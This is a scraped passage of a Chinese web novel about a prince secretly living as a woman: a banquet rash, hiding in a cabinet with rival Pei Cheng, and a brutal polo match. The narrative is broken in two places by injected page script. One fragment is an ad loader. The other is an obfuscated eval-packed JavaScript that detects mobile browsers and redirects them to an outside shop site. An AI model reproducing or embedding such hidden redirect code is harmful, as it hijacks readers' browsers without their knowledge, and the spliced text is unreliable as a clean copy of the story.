“这……兴许,兴许底下人忙里出乱,用错了,这偏桃与杏仁味道大差不差……” 飞雨严厉道:“这话就不对了,虽然味道差不多,但是有人能吃,有人不能吃,你明里说这是杏仁糕里面却放着偏桃馅,万一不能吃偏桃的人误食了,岂不是要出事?” 郑署令跪了下去,连忙道:“小人这就命人去把杏仁糕撤下来。” 裴承扫了眼对面正吃着杏仁糕的太子,淡声道:“去吧。” 如蒙大赦的郑署令毕恭毕敬地退了下去。 今日或许是酒喝急了,李相筠浑身发热,很不好受。 圣人稳坐龙椅上,喜笑颜开地接受臣子一一拜贺,收到贺礼再以亲疏远近赏回东西下去。 君臣同乐,其乐融融。 每年这个过程都奇长无比,让李相筠不耐烦。 他把玩着皇帝回赏的一把黄金镶宝石的匕首,把上面红的、绿的、紫的石头挨个扣了扣,没能扣动。 将作监的手艺还是不错的。 分心的效果不大,身上的热与痒越来越明显,李相筠不由挠了挠,非但没能缓解,反而痒得钻心,她终于意识到不对,在变得更奇怪之前,她借着酒气离开席位。 含元殿前龙尾道朝西,她撞上了正在巡察的陆展。 离开大理寺后,他没有选择马上与鲁郡王认回,反而在皇后的安排下进入北衙禁军。 北衙禁军是一支只由皇帝调派的私军,其人员、装配都不为外人详知。 “殿下。” 穿着铠甲戴着头盔,李相筠一时间没有认出陆展,不由笑了起来:“中郎将现在好神气,今日良辰美景居然还要当差?” 陆展不禁咧嘴想笑:“殿下取笑臣了。”但是很快他的笑意就收敛住了,连眼神里都充满了忧郁。 “殿下这是要去哪?” 李相筠这会正不舒服,便没有分辨出他的神情不对,只道:“喝多了酒,里面又闷着慌,出来透口气。” 陆展道:“殿下不要走远了,注意安全,小心摔着碰着了,殿下总是弄伤自己,这样很不好。” “放心,你还不知道我的酒量,醉不了。”李相筠笑:“怎么升官了反而变得婆婆妈妈的。” 陆展的神色藏在头盔下,他语气很轻,“殿下与陆姨母都是臣重要的人,臣自然希望都能好好的。” 李相筠眼睛缓缓一眨,随后又笑,“知道了。” 她继续往外走,陆展没有跟上来,留在了原地,过了片刻,背向而去。 陆展扶在刀柄上的手紧了又紧。 脑海里全是陆巧燕又惊又怕的叮嘱:“昭云,你要记得,若是姨母有一日出了事,你要去普宁坊……我留了东西在那……不要问,现在你无需知道,也不能知道。不不,我只是有些不安,和、和上次见太子的事无关,我知道你对他很亲近,但是人心隔肚皮总是要提防着点,谨慎些才能活的长久,知道吗?皇后会护着你但也不会永远护着你。不要问了,真的不要问姨母了,姨母说这些都是为了你好……” 究竟会是什么事? 陆展踢走脚步的石子,闷头往前。 他有想过提前去普宁坊,但是又害怕知道些不应该知道的事。 他敏锐地察觉到,这件事与太子有关系。 李相筠那日握住他手臂脱口而出的“孤要杀她”清晰在耳,让他遍体生寒。 / 李相筠本是漫无目的地走,渐寒的秋风缓解了她身上的燥热,她抬头看天上的星辰都被云层 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 覆去,不见光辉。 背后的热闹变得遥远。 忽然她听见远处有动静,扭头就看见一缕光引着一道罩在白袍里的身影往前行。 是圣火教的人。 他们不在含元殿里侍奉圣人,在这里逛什么? 李相筠放轻脚步跟上去,才发现与他密林相会的是宫中女官,也不知是在密谋什么。 天公不作美,下起小雨。 起初雨还不大,只有星星点点落在脸颊,很快雨点变大,砸得叮咚作响。 前面相会的两人也折转了身,往李相筠所在的方向走来。 李相筠有意隐藏行踪,不想被当面撞见,急忙避开但没留意脚下,差点被绊倒,这时暗处伸出只手好心将她搀了把。 李相筠闻到来人身上淡淡的药香,惊愕抬首,但没时间和裴承寒暄,因为后面的光就快要照到他们身上。 她只能拽住裴承,让他跟自己一起避开。 雨势越来越大,小路的边上有一间暖阁,正适合避雨。 李相筠带着裴承快步走进,里面看守的宫人不知道去哪偷闲了,只有两边落地的九层烛台上,蜡烛孤零零烧着,徒留一室清香。 裴承道:“殿下在躲他们?” 明知故问,李相筠对他没好眼色,“是又如何。” “臣只是想说,他们恐怕也打算进来避雨了。” 李相筠想听秘密,但是并不想和裴承一起听秘密,他这个大麻烦杵在这里扔又扔不掉,让她心里火烧火燎地烦。 时不待我,脚步声越来越近,都能听见那女官道:“雨太大了,不如我们先去这里歇歇?” 李相筠能伸能缩,一把扯住裴承,“走。” 暖阁里实没有什么合适的地方能塞下裴承这个大高个子,她只能选择内室雕花立柜,立柜门上花纹十分精致繁密,从通亮的外面是很难看见柜子里面的情形,但是里头反而能勉强从小孔里看见外面。 李相筠捂住裴承的嘴,用目光警告他闭嘴。 裴承用手指,点了点太子的膝盖。 示意,压着他的大腿了。 立柜外面看着大,但里面早被木板分成一格格的,尽管能够把裴承长手长脚塞进去但也挤得够呛,所以李相筠勉勉强强卡在他的两只腿中间,靠顽强的意志力撑住自己没有直接倒向他。 酒味、药味,在这小小的空间里久久不散。 “好大雨,只怕一时半会不会停,看来我们一时半会是走不开了。”那女官说。 雨声很大,敲打着屋瓦叮叮咚咚响,人的声音变得难以分辨,只能依稀听见他们的话语。 “无妨,圣人那边还没有这么快结束,你身上淋湿了,去找快帕子擦擦,不然病了不好侍奉贵人。” “好。” 脚步往内室而来,李相筠紧张起来,两眼直直望着裴承。 裴承一脸无所谓,低声:“来了。” 李相筠脑子千回百转,一时间想不出有什么合理的解释能够把自己和裴少保以这样憋屈别扭的姿态塞在立柜里给糊弄过去。 女官拉了一下把手,李相筠一只手捂住裴承的嘴,一只手捂住自己的,身子下意识往下藏去。 门没有开。 李相筠心脏怦怦直跳,扭头看见是裴承的手紧扣门扇内侧的竖棱。 刚刚装什么淡定,这不是也害怕被人发现吗! “门坏了?” 女官似乎加大了点力,门扇小范围地开合,撞着门框砰砰作响。 李相筠后背的汗星子都炸开了,那股没有抚平的痒意卷土重来,让她不禁难耐地闷哼。 裴承的身体热得像个火炉,对李相筠而言真是不亚于架在火架上烤。 越热越痒,越痒越热。 酷刑。 急促的呼吸从指缝里泄出,不断拂在裴承脖颈敏.感的肌肤上,让他不禁把放在门外的目光全部分给了小太子。 他的脸红透了,水盈盈的眼睛有些迷离,浓睫又长又翘,像两把扇子,在那儿煽风点火。 火星子掉了下来。 烧到了裴承的咽喉,又干又燥。 他好像要坏掉了。 26.猎物 李相筠觉得裴承这一刻的眼神很危险,不知道是因为空间狭小,还是红木的光泽,让他的瞳孔隐隐发红的倾向,就好像是在威慑猎物。 猎物? 李相筠不是猎物,也没那么容易被吓住的,她迅速抬手卡住裴承的咽喉,迫使他的头往上,不再靠近自己,影响自己。 大拇指内侧感受到的脉搏跳动频率高得吓人,正常人若是这样跳动,早就该爆体而亡了! 南巫寨的传闻也许有夸大其词的成分,但兴许也有属实的那部分。 至少裴承这样的脉搏,还算正常人吗? 两人的姿.势很不好。 裴承垫在下面,一手撑着头顶的木板,两只腿一只支起靠在最里面,另一只侧放被李相筠压在腿下,实在空间是局促,他们贴得很近,又因为过于近,声音反而没有必要。 裴承被李相筠的虎口钳制住咽喉,这使他吞咽都成了问题,只能蠕动唇瓣,无声地吐出四个字:同归于尽? 外面的人还在研究: “怎么了?” “这门好像坏了……嗯?好像又可以拉开……” 李相筠感受到身后的门打开了一条缝,微凉的风从中灌入,沿着她的后脊上窜。 她不敢置信地瞪了裴承一眼,反手扣紧门扇,只听门“咚”的声。 她动作太大。 外面开门的动静顿时消停,转为那女官惊疑恐惧的声音:“立柜里面有东西!” 沉稳的脚步声靠近,是那名圣火教徒。 “让我看看。” 李相筠一只手抓住门,另一只手撑在裴承的身侧,下意识咬紧下唇,唇肉都被贝齿咬出了浅痕。 裴承往下能看见他咬唇的动作,心里头忽而生出也想咬什么的冲动。 此时外面的男子已经停在了柜外,李相筠的心跳已经快到足以影响她的动作。 一道很细微的金属声摩擦着耳膜。 裴承动了动另一只手。 腿边好像有什么热乎乎的东西在拱动,还不等李相筠仔细分辨,那东西就猛地窜了出去,踩过她的后腰一个蹦跳,她大吃一惊,下意识要叫,但裴承的手按住她的后脑勺,把她的声音都压在了他的肩膀上。 门闪开了一条缝隙,小白兽飞身窜出,钻过男子的腿,一溜烟爬到了女官的肩头,把她吓得花容失色,迭声喊:“什么东西!” 男子只能放弃与门搏斗,转而去解救女官。 但那小白兽异常灵活,两个人四只手都拿它毫无办法,只听见女官惊恐的声音不断传来,还有那男子劝她别乱动的话语。 混乱离开内室,危机暂时解除。 李相筠锤了下裴承的腰侧,才让他松开按在她后脑勺的手。 她偏头呸了两声。 那股苦药味又顺着舌头蔓到了胸腔,她把舌尖狠狠在前齿上刮了两下,想剔除那让她浑身不舒服的涩味,但是作用不大,只能扭头对裴承这个始作俑者怒目而视。 权宜之策。 裴承动了动唇,眉峰又是一挑,又是一句话。 臣本可以不躲的。 李相筠一阵无语。 是,都是她自作自受,是她想要听人墙角,是她要拉着裴承躲进立柜里。 坚定的目光也变得不是那么聚焦,李相筠总算觉察到自己的不对劲。 裴承正要再说什么,但又愣住了。 身为男子,他自然而然能知道那是什么。 太子这是在做什么? 把他当做了什么人,还是什么人他都可以? 他不能完全明白,但又出自本能地有所反应。 他也不正常了,无论是心脏还是殖器。 就算在动物之中,也极少的例子会出现雄性对雄性有繁.殖倾向,在积极培养蛊虫的蛊师眼中,这就是错误的、劣等的表现,会被抹杀、剔除。 在裴家也是如此。 虽然他并不想成为裴家繁.殖的工具,但也不代表他会愿意成为那个错误的、劣等的那一类。 他把李相筠推开,昏暗之中也能看出太子的皮肤泛红,连带着脖颈也不再白皙,可想而知那身微潮的衣服下会是什么样的光景。 推开后,两人再无动静,只有目光还交汇着,警惕之中还有一份说不清道不明的观察。 吱呀一声,谁也没料到身后的柜子门忽得被打开了,女官的惊叫把李相筠彻底惊醒。 她的手迅速摸回到腿上。 裴承却从后面扣住她的后颈,不让她能转身将出鞘的匕首刺向身后。 那外面的男子问:“怎么了?” 女官呆了片刻,缓缓回答:“……无事,刚刚晃见一块白色的布,还以为里面还有只。” 因为门是敞开的,声音毫无阻隔,李相筠这才听出,是陆巧燕的声音。 陆巧燕又不是瞎的,分明已经看见她的背影和裴承的正面,却给出这样的回答,让她很是奇怪。 但裴承的手牢牢扣住她,让她既不能抬头更不能转动,所以无法看见他们两人之间是不是正在眼神交流。 在这间不容发的紧迫时刻,陆巧燕突兀地说道:“忽然想起还有件要事,我们早些走吧。”她顺手把门严丝合缝重新关上。 那男子顿了下,道:“也好。” 不多会,两人就冒雨离开。 “殿下不出去吗?”裴承放开手。 裴承处之泰然的样子让李相筠疑虑更深,她甚至怀疑他是不是不但与陆巧燕相熟,甚至与那名圣火教徒相识。 说起来今天他出现的突然,或许,他们三个压根就是相约密谋,只是不小心被她撞见了呢?! 李相筠警惕地退出立柜,环顾四周。 裴承弯下腰,小白兽顺着他的手一路爬到他的肩上,尾巴后腿挂在左边,脑袋前爪搁在右边,活像个毛茸茸的围领,与主人一道,眼睛转也不转盯着太子。 李相筠扯了扯衣襟散热,又挠了挠手臂,先发制人:“你与陆巧燕相识?” 裴承把面前人上下都扫了眼,视线停留在李相筠纤细的脖颈上。 “殿下似乎是起疹子,吃错东西了?” 李相筠被他目光看痒了,又抓了抓脖子,再卷起衣袖,果然看见皮肤上浮起了一粒粒红点,红点周围成片的红,难怪又热又痒。 除了酒之外便是那个杏仁糕了。 这种事从前也有过,后来皇兄尤其注意她的饮食才少有发生,她自个也不太注意,不过这都是小事。 李相筠没有忘记正事: “你还没回答孤的问题,陆巧燕一直在深宫,裴少保也是刚到长安,你们二人是什么时候相识的?” “殿下还是去传太医来看看,据闻有些东西吃了会对身体大有损伤,殿下如此年轻力胜,血气方刚,但也要纾解有道,不该随随便便。” 李相筠严肃的审问被裴承这句话一打岔,又闪出了一脑子问题,“什么意思?” 裴承微偏了头,眼睫把审视目光藏住,语气微沉,“殿下难道是在装傻?” 李相筠想了想,刚刚她被困狭小空间里给热疯了,不小心往裴承身上靠了几下。 考虑到她是“病”,情有可原,也不是什么不可饶恕之过,不至于要抓着不放,说些莫名其妙又不知含义的话。 李相筠不由扬高下巴,正色道:“有话直说,藏藏捏捏不像个男人。” 他理直气壮的样子,倒显得自己好像是个泼皮在无理取闹,裴承不禁笑了,他沉了口气,压低了声音:“殿下好硬。” 什么没头没脑的?这是在骂她还是在夸她? 李相筠虽然在皇兄身边见识过不少,武将大多性情耿直,说话骂人都直来直往,粗鲁的话语不忍耳闻,但是意思总是很好明白的。 动辄用粗鄙的器官互相攻击,又或者屎尿屁的装饰,一听就知道对方是大骂特骂。 但是有文化的人不想显得粗鄙,要骂你也是拐着弯的,看似在捧你,实则在贬你,让人防不胜防。 裴承显然是后者。 李相筠轻哼了声:“裴少保也是。” 听不懂的话,原样奉还就是做好的解决方式。若是对方在骂你,你也相当骂了回去,若对方是夸你,那礼尚往来也不吃亏。 裴承的神情复杂起来,像是吃惊又好像是古怪,竟没有仔细回想适才太子的手、身哪儿碰到了,视线竟就在他的直视下闪开了,看向窗外的雨。 “雨小了,殿下该回去了。” / 雨幕之下,女官陆巧燕的头发衣服都被淋湿了,两只手盖过头顶,只有廖剩无几的遮挡作用。 “还好么?” “……什么?” 戴着白色罩帽的男子道:“我是说你被咬的伤口还好吗?” “啊……已经不疼了,只是擦破了点皮……”陆巧燕看向自己的掌心,那有两个小小的牙印,除了最开始有点发烫之外,没有什么特别。 “刚刚你说柜子里有什么东西?” “没有什么东西,是一块白色的布。” “是吗?” 陆巧燕很肯定地点了头,又问:“是的,怎么了?” 男子淡淡道:“没什么,只是提醒你以后要小心些,某些东西看起来漂亮,说不定有毒……” 陆巧燕道:“我会小心的,圣主更要留心。” “皇后最近睡得还好吗?” “还是老样子,章平太子的事一直让她难以释怀,我想……” “这件事你不用担心,晚点我会给她送上新的炼香,她会有个好梦。” “……好,我知道了。” / 李相筠传了太医看诊,果然是吃坏了东西才起的疹子。 有这个做借口,正好可以不用继续待在含元殿,看圣火教乌烟瘴气地做法事。 她提前回到东宫。 扶桑殿里灯火通亮,她关好门窗,褪去衣物,将腹下挂着的那木质□□的假东西扔到一边,把药老老实实喝完,躺在床上,又回想了一遍刚经历的事。 陆巧燕是与陈皇后一同进宫的人,据闻她们从小一起长大,关系亲密,情同姐妹。 陈皇后虽不是大家世族,却也是当地一富户,所以才能读书学字,那陆家应该也不差,缘何背井离乡跟着陈皇后到宫中做女官? 裴承与她认识吗? 倘若认识的话陆展不会一无所知,可若是不认识,她为什么要帮他们隐瞒行踪。 可恶,今日本来是去听秘密的,秘密没有听成,还和裴承又牵扯上了。 ——“殿下好硬。” 不知怎的,回忆突然到了这。 李相筠一骨碌坐起来,目光往地上的东西投去。 难道是,裴承摸出真假了? 男女区别不但在于胸,还在于此身.下.物,李相筠曾经因为少了此物险些在人前漏了馅,所以在参加这种大宴时才会慎而重之地戴上,就怕哪个眼尖的发现堂堂太子下边一马平川,是个天缺。 但木头岂能与真的相比,至少裴承溜光的时候,看起来还挺软…… 辛芷为什么不给她弄个软点的?这也太容易露馅了! 李相筠不由站起身,开始在屋内踱步,身上又痒又燥,心情可想而知,思来想去,一个念头又浮了上来。 要不,还是把裴承杀掉吧。 不等李相筠琢磨出个一劳永逸的好法子,这日金宝就先求到东宫门口。 “太子殿下,还得您出马才行啊!” 说起来,这件事的始作俑者也是她李相筠,金宝眼下是抱着“冤有头债有主”的姿态找上门。 李相筠托着腮,神情恹恹,“他们好大的胆子。” 辉宗皇帝的子嗣很多,这个王那个王的,即便以大黎的递代减封的法子,这么多宗亲,每一年也是很大一笔开支。 李相筠就以各种明目,授意户部缩减宗亲的封赏。 要不然今年岁末朝廷账目上难看,户部不好过,她这个太子也要受弹劾,影响她日后的用度。 李相筠才不管谁和她有没有血缘。 宗亲又如何?但凡妨碍她路的人,她都会想办法除去。 更何况他们这么多年,早就积累了丰厚的家底,指不定比东宫还宽裕。 可怜他们?倒不如可怜自己! 但是齐郡王世子等宗室子弟不会这样想。 升米恩斗米仇,给的时候他们不会感恩戴德,夺的时候便会气红了眼。这不,刚收到消息便和户部起了冲突,现在两边人马约了武斗马球。 “谁答应下来打武球?” 武球肮脏,分明是冲着群殴而去的,每次打武球都少不了有人要伤胳膊伤腿,鼻青脸肿,严重的终身瘸腿的都有。 长安城里不许持械斗殴,别说升斗小民了,权贵子弟更是被狠狠约束,这打起来伤着谁了,武侯都会惹一身腥。 马球就成了他们宣泄的途径。 平常玩玩的就叫文球,大家点到为止,互相切磋。 动真格的叫武球,上马场跟上战场一样,生死勿论。 金宝一拍大腿,“殿下肯定想不到,居然是那关侍郎!” 关侍郎? 李相筠想到那张平平无奇的脸,“他都多大了,还能打得了马球?” 金宝一脸复杂,颇为意外:“他马球打得一流,是个高手!” 李相筠微眯了眼。 “嗯?” 金宝又搁下关侍郎不提,转而诉苦起来:“殿下也知道,我那弟弟没出息,骑射样样不行,能整场不摔马就算是烧高香了,哪还能进得了球,倘若这场输了,户部那边也不好为殿下办事……” 他在金家过的不容易,有好事都是弟弟领,出了事头一个找上他算账。 封赏是李相筠要削的,意思是金宝传的,奏章是金侍郎拟的,现在首当其冲的是站在明面上的金侍郎。 据闻那边放话要把他揍得娘都认不出来,金侍郎吓得哭爹喊娘,金宝被戳着脑袋骂了一通,灰头土脸来找李相筠。 “这件事是为孤办的吗?”李相筠把背靠到椅背上,指头不紧不慢点着扶手,眼睛似笑非笑盯着金宝,“年底处处要钱,户部周转不开,急上火的可不单是孤一人吧?” 金宝连忙给自己嘴皮子甩了个小巴掌,“瞧我说的,是我们都要仰仗殿下!只要殿下出马,好让他们知道个轻重!” 太子不说话,抿着唇的样子高深莫测,就连经常在他身边打转的金宝也不是总能摸准他的心思。 从前有这样的事,他不是很乐意的吗? 论打架斗狠,他可是长安一霸啊! / “打马球?太子应了?” “该是应了,我见那金大爷走的时候心满意足,春风满面,太子马球打得好?” “马球打得好不算什么,打架打得好才算是好,你以为他们真的打的是球?”飞雨皱了下眉头,轻嗤了声:“找机会打人罢了。” 飞星兴高采烈,看热闹不嫌事大,拍手道:“那岂不是更精彩?!” 裴承道:“想去看热闹?事情都办完了吗?” 飞星保证:“我马上去办好!” “那便去吧。” 飞雨瞅了眼一副像是得了便宜的傻兄长。 家主挑拨齐郡王世子冲锋陷阵,他们等着看热闹的事怎么能错过? 千秋节结束后,圣人就闭关了。 圣火教奉上的特制金丹,需要配合修炼十四个小周天才能吸纳。 马球赛的时间,太子定在了第七日。 秋高气爽,靖恭坊里叠翠流金,碧云天,风轻扬,实在是个出游的好天气。 马球场里人声鼎沸,为看热闹的权贵子弟早早就到了地,有人衣裳都还没穿好,微敞着衣襟,脖颈上还大喇喇印着艳丽的胭脂,谁瞧了都知道这是刚从平康坊不知道哪家妓馆的床上爬起来的。 “太子今天是真会来吗?都这个点了,莫不是怕了?” “怕?你是没见着,太子上一回打武球,刑部尚书的二郎就断了腿,现在还没好利索,还有邹御史的侄儿头破血流下来,人都痴呆了几个月……整个长安没有人比太子更会打武球了!” 不但郎君,就连贵女们也都结伴而来,为的一睹马球赛场上男儿的风范。 说不定将来的夫婿就会是其中一个,若能提前瞧瞧样貌身量,心里也能有个底。 有女郎叹息: “赵郡王世子样貌才能样样出众,怎么就喜欢关娘子,关娘子年纪都不小了,一点也不相配……” “世子他年幼丧母,喜欢年纪大点的也正常啊,你看太子殿下不也是,哎,对年纪小的女郎都是一幅看妹妹的眼神,还有传他和赵世子两个为关娘子反目的……真气人啊!” “你气什么呐,难道还对太子念念不忘?你母亲不是都跟齐郡王府在谈婚事了吗?我看齐郡王世子对你相当满意。” “别胡说,八字还没一撇的事。” “瞧瞧,说着说着脸红了。” “不过关娘子看着显小,若非你们说,我都不知道她有那般大了,怎么一直不成亲呐?” “还不是关侍郎说她身子不好,要靠昂贵的药材吊着命,别的人家娶媳妇是为了传宗接代的,她那样的可不是请了个祖宗,除了亲兄长,哪个愿意供在家里光看着?” “难怪,关侍郎也没娶妻,当了这么久的户部郎,居然还过着清贫的日子,今日这马还是我家兄长借的呢!” 都知户部是个捞油水的好地方,朝廷的账面多少都是他们算的,手指漏一漏,都够普通人奢侈生活好几年了。 “但关娘子的画值钱,在黑市上千金一幅都被疯抢!” “她那破画有什么好的,这些人都不要命了吗?” “嘁,裴少保都说了,绝不是妖魔鬼怪杀人,古墨斋掌柜也承认是自己一时鬼迷心窍才胡乱污蔑关娘子……” 提起了最近长安新贵,有女郎娇滴滴打听:“说起来,裴少保不知有没有婚配?” “别肖想了,你听过西南裴家人有和中原结亲的吗?” “虽然没有听过,不过为什么不呢?” “怕你这个小身板受不住啊,你们知道裴五爷吗?平康坊的常客,里面的姐儿说……” 声音渐渐压低,几个脑袋凑到了一块,好一会才个个脸红耳赤地抬起来,你看着我看着你,不好意思再说话了。 都是未出阁的女子,饶是性子热烈,也不好说自己喜欢个重.欲的。 马场旁的马棚里,几位世子打了照面。 都是李姓宗亲,祖上的血脉继承下来,他们样貌都不俗,宽臂长腿也是一副好身材。 “那瘦猴一样的小太子有什么可怕的,这次我们一定可以把他杀个片甲不留!” “需要悠着点吗?万一伤着那宝贝疙瘩,圣人会不会怪罪我们?”额头上系着红色抹额的郎君阴笑着,挥了挥手里的马球杆。 杆身是藤制的,上面绘制了精致的花纹,杆头呈偃月状,可以看见边沿被刻意磨得窄薄,材质虽是硬木,但使用得当不亚于一把利刃。 “马球场上的意外多的是,怪得了谁?”旁边一人勾上他的肩膀,“这话还是太子从前自个说的呢!” 两人相视大笑。 李相筠是踩着点到的。 她向来不会老实巴交地提前到场,带着执金卫轰轰烈烈进场是一贯的作风。 一身蓝白窄袖袍,额前绑着蓝色抹额,头发没有规规矩矩束在金冠里,而是张扬地垂在脑后,扎成高高的马尾。 阳光下,那张脸漂亮得不像话。 无论男女,目光都不由汇聚在他脸上,久久挪不开眼。 不知道时候起,那个总是跟在怀贤太子身后,唯唯诺诺的小皇子,那个和人打架总是弄得一身伤的小疯子长大了。 光彩溢目,姿貌绝伦。 陆展牵着马过去。 无论太子要做什么,他总是言听计从,这次也是义无反顾地站在了他这一边。 比赛的马球队一边各出十人,骑着马分列两侧,守在各自的球门前。 “没想到殿下真会来。” “开赌都压自己了吧?小心裤子都赔这儿了。” “总好过殿下这边没人压!” 不远处的金宝耳朵尖,连忙跳起来道:“我压!我压了!” 太子将马球杆抗在肩上,姿态要多松弛就有多松弛,仿佛赢下这场比赛易如反掌。 李相筠弯了一下唇,挑眉道:“看来,你们的裤子今个保不住了。” “哼,虚张声势。”戴着红抹额的郎君鼻孔朝天地哼了声。 令官负责开球。 一枚拳头大小、描着金线的彩毬被高高抛起,在空中划出一道曲线,掉进场中,数不清的马蹄开始躁动,一根马球杆精准无误地横推了进来,当得声将球从中击出。 飞星手搭在眉骨上目不转睛看着,顿时叫了起来。 “是太子!” 只见乌骓马驮着那蓝衣郎君一马当先,球被击杆带着,跑得比马儿还快。 “围上他!不能叫他突围!” 两匹马一左一右贴紧乌骓马,他们的马球杆没有往地下打,反而以扬高的弧度往上,眼看着中间的郎君危在旦夕。 一声嘶鸣,只见左边的马忽然撩起前蹄,乱了方向。右边人手持的马杆也被架住在空中抡了半圈又往地上去,正好打中彩球,球滚到了陆展的马蹄前,陆展接过球,头也不回继续往前。 “想玩玩是吗?” 被李相筠缠住球杆的人顿时后背一凉,“你……” 李相筠手勒住缰绳,调转马头。 乌骓马鬃毛怒张,爆起性子往右边猛地一撞,同时李相筠手腕轻巧一转,缴掉对方的马球杆。 马球杆落地时,她又微弯下腰,似乎是好心要去勾起它,但是临时杆子却朝对方的腿而去。 一声钝响,令人毛骨悚然。 太子轻轻“啊”了声,毫无诚意地留下句“抱歉,手滑了”。 惨叫声被无情地抛在身后。 “听说太子用的球杆里面都是柞木,硬度大,韧性佳,好疼的吧!”飞星龇着牙,苦着脸,一副深感同受的模样,直晃脑袋。 好像打的是自己的腿。 “太子追、追上来了……”几名红队的骑手紧握住马球杆,一阵发怵,感觉寒毛都要倒竖起来。 “怕什么!他来了和他干就是!”齐郡王世子驾马去追陆展。 李柏寒回头看了眼。 难怪他们害怕了,李相筠那眼神凶神恶煞的,看起来就想把他们都弄死在这里般。 武球没有规则,看台上的女眷们一会激动呼叫,一会紧张捂嘴,心情时上时下,为这场比试牵动心魂。 站在蓝队这边的令官挥动了下旗子,而后将棋插.入旗垛,示意得分。 但是一片混乱的场内几乎没有人注意到这里,嘶鸣的烈马,叫嚣的郎君,挥动的球杆,就如战场厮杀。 或围追堵截,或蛮力碰撞,那只小小的彩球惊慌失措地在马球杆下轮番滚动。 裴承手扶着栏杆,看着球场上的混乱,目光几乎没有离开那道身影。 因为实在太显眼了。 那张扬的攻击性就好像是雷霆闪电,刺目耀眼,哪怕沦陷在团团包围里他也丝毫不惧,就好像是天生不知道怕的孤兽,已经习惯了腹背受敌的险境。 他的脸上不知道何时被划出道血口子,血珠渗出,要坠不坠地挂在脸颊上,平添了分艳丽,也增添了几分狠劲。 即便穷途末路,也要斗到底。 关侍郎带着人冲过来,和红队碰在了一起,球已经不知道滚到了谁的马蹄下,只看见球杆、马腿不断扬起尘土。 混战一片,不断有人哀鸣,也有人掉下马背。 二比一,蓝队暂时领先。 很快铜锣一声响,到了中场休息的时间,裴承对两侍卫交代了声,自己下了看台。 李相筠把脸浸入水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13946974|145793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盆,再抬起时,水花四溅,润湿了她的发丝和衣襟。 陆展正拿了块帕子候在旁边。 “我们领先。”李相筠说。 “嗯。”陆展先看了他的神情,才看向他脸上的伤,“殿下心情不好?” 李相筠用干帕擦着脸上的水,碰到伤口眉头就皱了下,半晌才闷声道:“没有,他们先惹我的。” “殿下受伤了,擦点药吧。”陆展轻车熟路拿出伤药。 李相筠一看就笑了:“你怎么还随身带药啊。” “以前你在前面打架,我帮不上忙只能想办法讨点药,好在你打完给你上药,养成习惯了。” 虽然陆展比李相筠还大几岁,但是因为性格原因,总是跟着喊打喊杀的李相筠身后当个任劳任怨的随身袋。 无论是药是铜板还是零嘴,只要他说一句无聊,没准他还能掏出个蛐蛐笼。 “那时候就是怕在脸上手上弄出伤口,皇兄一准会发现……”李相筠轻压脸上的伤口,语气淡淡的,“好在现在也不必提心吊胆了。” “不能因为没人管着殿下,殿下就这么乱来,受这么多伤。” 陆展把药粉撒在李相筠的手心里,又用干净的布给他包上,细致熟练。 李相筠握了握手,没什么影响,“脸上就不用了,上了药怪难看的。” 陆展捏紧药瓶,忍不住道:“待会殿下还是尽量不要和他们单打独斗,我们是一个队的。” 李相筠抬头看他,“我习惯了。” 陆展又低下了头,似是长长出了口气,“也是,殿下一个人也能做的很好。” 李相筠用拳头锤了下他的肩膀,不免好笑:“做什么这幅模样,活像个被人抛弃的小狗。” 陆展抿了下唇,终于一笑,“上半场他们的损失比我们的大,下一场要不换人,要不只能减员了。” 两人身后的树叶簌簌而动,一片衣角慢慢抽离。 “关侍郎从前当过兵吗?他的身手一点也不像个文官。” 休整完毕,李相筠与陆展一起走回马场。 “据说参加过剿匪,关家就是被流匪屠光的。” 李相筠目光看着前方,忽然冷笑了声,陆展打住了话,也瞧见了裴少保额头系了根红抹额。 在和太子作对上,裴少保当仁不让。 看台上无论男女都兴致勃勃地探头张望起来,毕竟他们虽然经常看见太子,却还没见过裴少保打马球。 都说裴少保和太子针锋相对,你死我活,还真不是空穴来风。 “裴少保知道武球的规矩吧?”李相筠翻身上马,手里的马球杆晃了一晃,很是惬意。 “死伤无论。”裴承笑了下,“不过殿下与臣还没有必要你死我活吧?” 你知道了这么多还指望能活着? 李相筠在心里又冷笑三声。 瞌睡来了有人送枕头,这事完完全全可是裴承自找的。 还正愁找不到合适的地方弄他。 李相筠对陆展使了眼色,进球的事情她可不管了,下半场她只想按住裴承揍! 李柏寒问旁边人:“怎么请动裴少保。” “嗐,还用得着请,裴少保和太子本就不对付,两人是死对头,一听能陪太子玩玩,主动要替祁三上场。” 李柏寒皱眉思忖,这太子招惹人的本事越发娴熟,四面树敌晚上怎么睡得着? 脚边忽然有异样,他垂首看脚蹬,发现旁边关侍郎牵马经过,不知道碰到了什么,马镫就松了。 “抱歉,是下官弄到了?”关博也看向马镫,自然而然道:“我帮世子系上。” 李柏寒还没说不必,关侍郎已经动起了手,他手法很快,像是对马具很熟练。 身为心上人的兄长,李柏寒对关侍郎还是客气的,虽然关侍郎很少搭理他,更对他接近关娘子表达过不喜。 不过今日这一出,令他十分意外,受宠若惊。 下半场开始了,马匹冲了出去。 彩球轮番在马蹄前滚动,一会被带出一会被截住,裴承没怎么打过马球,即便球到了杖边上他护不住,很快就被李相筠抢走转给关侍郎。 迎着小太子挑衅的目光,裴承也只是一笑,仿佛不与他计较。 十来匹马一阵往东一阵往西,场面激烈沸腾。 裴承察觉到李相筠的马没离过自己左右。 “殿下不去抢球?” “裴少保第一次来玩,孤总要尽一点地主之谊吧?” “殿下想的周全,那想怎么招待臣?” 两匹马几乎是并肩往前冲,因为速度快,所以他们交谈的话只有彼此才能听清楚。 “当然是——” 乌骓马撞过来,裴承提前拨开了马身,让太子扑了个空,“殿下喜欢这样粗.暴的玩法?” “反正裴少保不是文弱的书生,用不着孤怜香惜玉吧?” “说的也是,殿下也不是女娇娥。” 